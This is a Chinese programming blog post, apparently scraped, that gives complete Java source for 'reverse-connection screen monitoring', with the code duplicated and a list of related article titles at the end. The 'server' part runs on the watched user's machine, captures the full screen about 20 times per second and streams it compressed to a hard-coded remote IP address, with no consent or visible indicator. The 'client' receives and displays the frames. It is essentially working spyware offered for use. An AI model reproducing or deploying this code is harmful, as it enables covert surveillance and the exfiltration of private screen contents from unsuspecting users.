JAVA用TCP 实现反向连接屏幕监视
来源:互联网 发布:游泳馆收费软件 编辑:程序博客网 时间:2024/06/08 04:00
//以下这个为服务器类 被监视的用户
import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
public class ShellServer extends Thread...{
private Dimension screenSize;
private Rectangle rectangle;
private Robot robot;
private JPEGImageEncoder encoder;
public ShellServer() ...{
screenSize = Toolkit.getDefaultToolkit().getScreenSize();
rectangle = new Rectangle(screenSize);//可以指定捕获屏幕区域
try...{
robot = new Robot();
}catch(Exception e)...{
e.printStackTrace();
System.out.println(e);
}
}
public void run()...{
ZipOutputStream os = null;
Socket socket=null;
while (true)...{
try...{
socket = new Socket("220.173.44.158",5000);//连接远程IP
BufferedImage image = robot.createScreenCapture(rectangle);//捕获制定屏幕矩形区域
os = new ZipOutputStream(socket.getOutputStream());//加入压缩流
//os = new ZipOutputStream(new FileOutputStream("C:/1.zip"));
os.setLevel(9);
os.putNextEntry(new ZipEntry("1.jpg"));
JPEGCodec.createJPEGEncoder(os).encode(image);//图像编码成JPEG
os.close();
Thread.sleep(50);//每秒20帧
}catch(Exception e)...{
e.printStackTrace();
}finally...{
if(os!=null)...{
try...{
os.close();
}catch(Exception ioe)...{}
}
if(socket!=null)...{
try ...{
socket.close();
} catch (IOException e) ...{
}
}
}
}
}
public static void main(String[] args) ...{
new ShellServer().start();
}
}
//以下这个为客户端类 监视者
import java.awt.*;
import java.awt.image.BufferedImage;
import javax.imageio.ImageIO;
import javax.swing.*;
import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.zip.ZipInputStream;
public class ShellClient extends JFrame...{
Dimension screenSize;
public ShellClient() ...{
super();
screenSize = Toolkit.getDefaultToolkit().getScreenSize();
this.setSize(800, 640);//设置Frame初始
Screen p = new Screen();//屏幕类
Container c = this.getContentPane();
c.setLayout(new BorderLayout());//布局
c.add(p,"Center");//添加一个Panel
new Thread(p).start();//开启线程
this.show();//显示本Frame
}
public static void main(String[] args)...{
new ShellClient();
}
class Screen extends JPanel implements Runnable...{
private Image cimage;
public void run()...{
ServerSocket ss=null;
try...{
ss=new ServerSocket(5000);//探听5000端口的连接
while(true)...{
Socket s=null;
try...{
s=ss.accept();//获取一个SOCKET
ZipInputStream zis=new ZipInputStream(s.getInputStream());
zis.getNextEntry();//获得ZIP流的ENTRY
cimage = ImageIO.read(zis);//把ZIP流转换为图片
//cimage = ImageIO.read(new FileInputStream("c:/1.jpg"));
repaint();//重画
}catch(Exception e)...{
e.printStackTrace();
}finally...{
if(s!=null)...{
try ...{s.close();} catch (IOException e) ...{}
}
}
}
}catch(Exception e)...{}
finally...{
if(ss!=null)...{
try ...{ss.close();} catch (IOException e) ...{}
}
}
}
public Screen() ...{
super();
this.setLayout(null);
}
public void paint(Graphics g)...{
super.paint(g);
Graphics2D g2 = (Graphics2D) g;
g2.drawImage(cimage, 0, 0, null);
}
}
}
主要采用了 TCP协议+压缩流~ 速度还可以!不过觉得还可以优化 用UDP+动态的矩阵迟点再改进吧!
import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
public class ShellServer extends Thread...{
private Dimension screenSize;
private Rectangle rectangle;
private Robot robot;
private JPEGImageEncoder encoder;
public ShellServer() ...{
screenSize = Toolkit.getDefaultToolkit().getScreenSize();
rectangle = new Rectangle(screenSize);//可以指定捕获屏幕区域
try...{
robot = new Robot();
}catch(Exception e)...{
e.printStackTrace();
System.out.println(e);
}
}
public void run()...{
ZipOutputStream os = null;
Socket socket=null;
while (true)...{
try...{
socket = new Socket("220.173.44.158",5000);//连接远程IP
BufferedImage image = robot.createScreenCapture(rectangle);//捕获制定屏幕矩形区域
os = new ZipOutputStream(socket.getOutputStream());//加入压缩流
//os = new ZipOutputStream(new FileOutputStream("C:/1.zip"));
os.setLevel(9);
os.putNextEntry(new ZipEntry("1.jpg"));
JPEGCodec.createJPEGEncoder(os).encode(image);//图像编码成JPEG
os.close();
Thread.sleep(50);//每秒20帧
}catch(Exception e)...{
e.printStackTrace();
}finally...{
if(os!=null)...{
try...{
os.close();
}catch(Exception ioe)...{}
}
if(socket!=null)...{
try ...{
socket.close();
} catch (IOException e) ...{
}
}
}
}
}
public static void main(String[] args) ...{
new ShellServer().start();
}
}
//以下这个为客户端类 监视者
import java.awt.*;
import java.awt.image.BufferedImage;
import javax.imageio.ImageIO;
import javax.swing.*;
import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.zip.ZipInputStream;
public class ShellClient extends JFrame...{
Dimension screenSize;
public ShellClient() ...{
super();
screenSize = Toolkit.getDefaultToolkit().getScreenSize();
this.setSize(800, 640);//设置Frame初始
Screen p = new Screen();//屏幕类
Container c = this.getContentPane();
c.setLayout(new BorderLayout());//布局
c.add(p,"Center");//添加一个Panel
new Thread(p).start();//开启线程
this.show();//显示本Frame
}
public static void main(String[] args)...{
new ShellClient();
}
class Screen extends JPanel implements Runnable...{
private Image cimage;
public void run()...{
ServerSocket ss=null;
try...{
ss=new ServerSocket(5000);//探听5000端口的连接
while(true)...{
Socket s=null;
try...{
s=ss.accept();//获取一个SOCKET
ZipInputStream zis=new ZipInputStream(s.getInputStream());
zis.getNextEntry();//获得ZIP流的ENTRY
cimage = ImageIO.read(zis);//把ZIP流转换为图片
//cimage = ImageIO.read(new FileInputStream("c:/1.jpg"));
repaint();//重画
}catch(Exception e)...{
e.printStackTrace();
}finally...{
if(s!=null)...{
try ...{s.close();} catch (IOException e) ...{}
}
}
}
}catch(Exception e)...{}
finally...{
if(ss!=null)...{
try ...{ss.close();} catch (IOException e) ...{}
}
}
}
public Screen() ...{
super();
this.setLayout(null);
}
public void paint(Graphics g)...{
super.paint(g);
Graphics2D g2 = (Graphics2D) g;
g2.drawImage(cimage, 0, 0, null);
}
}
}
主要采用了 TCP协议+压缩流~ 速度还可以!不过觉得还可以优化 用UDP+动态的矩阵迟点再改进吧!
- JAVA用TCP 实现反向连接屏幕监视
- JAVA用TCP 实现反向连接屏幕监视
- JAVA实现反向连接_屏幕监视 (TCP)
- JAVA实现反向连接_____屏幕监视 (TCP)
- Java实现远程屏幕监视
- 用Java Robot对象实现服务器屏幕远程监视
- 用Java Robot对象实现服务器屏幕远程监视
- Java Robot对象实现服务器屏幕远程监视
- Java Robot对象实现服务器屏幕远程监视
- Java Robot对象实现服务器屏幕远程监视
- Java Robot对象实现服务器屏幕远程监视
- 用java实现windows剪贴板监视
- Java Robot对象实现服务器屏幕远程监视(来自:JAVA-CN.COM)
- 用ASP实现反向连接控制
- java socket远程屏幕监视(一)
- java socket远程屏幕监视(二)
- Nginx实现TCP反向代理
- nginx实现tcp反向代理
- NOKIA SYMBIAN 保留键
- Novell NetWare 及其协议
- 我的软件生涯
- Java学习 Timer类
- c#.net中通过关键字检索指定文件夹中的word文档
- JAVA用TCP 实现反向连接屏幕监视
- Asp.Net中用javascript实现弹出窗口永远居中
- 如何调用DLL
- Java中利用JMF编写摄像头拍照程序
- 终于云开见日了!
- MSIL - the language of the CLR (Part 1)
- 用C#实现在Word文档中搜索文本
- 装饰模式
- Symbian中TRAP问题